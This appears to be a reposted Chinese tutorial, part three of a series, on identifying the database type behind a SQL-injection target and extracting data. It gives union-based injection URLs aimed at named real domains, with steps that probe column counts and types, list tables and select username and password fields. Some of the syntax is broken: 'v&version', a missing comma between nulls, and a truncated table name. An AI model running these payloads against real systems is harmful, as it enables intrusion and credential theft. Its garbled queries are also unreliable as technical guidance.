上一篇: http://www.2cto.com/Article/201209/153278.html mysql、mssql和oracle 数据库 都有自己特有的一些命令,我们可以根据它们确定我们要注入的数据库类型。mysql与 mssql 中select @@version返回当前数据库的版本,oracle中 select banner from v&version 返回数据库版本。 不同数据库构造字符串的访问也不一样。如,要构造字符串[yeetrack], oracle 中的命令是 ‘yee’||’track’ ,mssql中的命令是 ‘yee’+'track’, mysql 中的命令是 ‘yee’ ‘track’,中间是个空格。
Oracle 数据库:
1.、对于一个查询的URL,例如http://www.yeetrack.com/wordpress/?p=54,首先试探这个URL需要返回的列数,构造URL http://www.2cto.com /wordpress/?p=54%20union%20select%20null%20from%20dual–,查看返回结果,如果错误说明返回列数不为1,增加null的个数,http://www.yeetrack.com/wordpress/?p=54%20union%20select%20null%20null%20from%20dual–,直到结果不发生错误为止。
2、 确定了返回的列数,再来确认每一列的类型,依次将null改为’a',查看返回结果,返回a则正确;出现异常再修改’a'的位置,直到正确为止。
3、找到了一个正确的类型,就可以探测数据库的信息了。查询当前用户拥有的数据库的全部对象,select object_name, object_type from user_object.根据返回的信息,找到感兴趣的表,再探测该表的列。select column_name from user_tab_columns where table_name=’tablename’, 最后探测该表的数据, select username, password from user–
MSSQL数据库:
1、 同oracle数据库。
2、 同oracle数据库。
3、 探测数据库的信息,select name from sysobjects–,找到感兴趣的表,就可以提出表的字段和信息了。
查看更多关于sql注入解析(三)数据库类型 - 网站安全 - 自学的详细内容...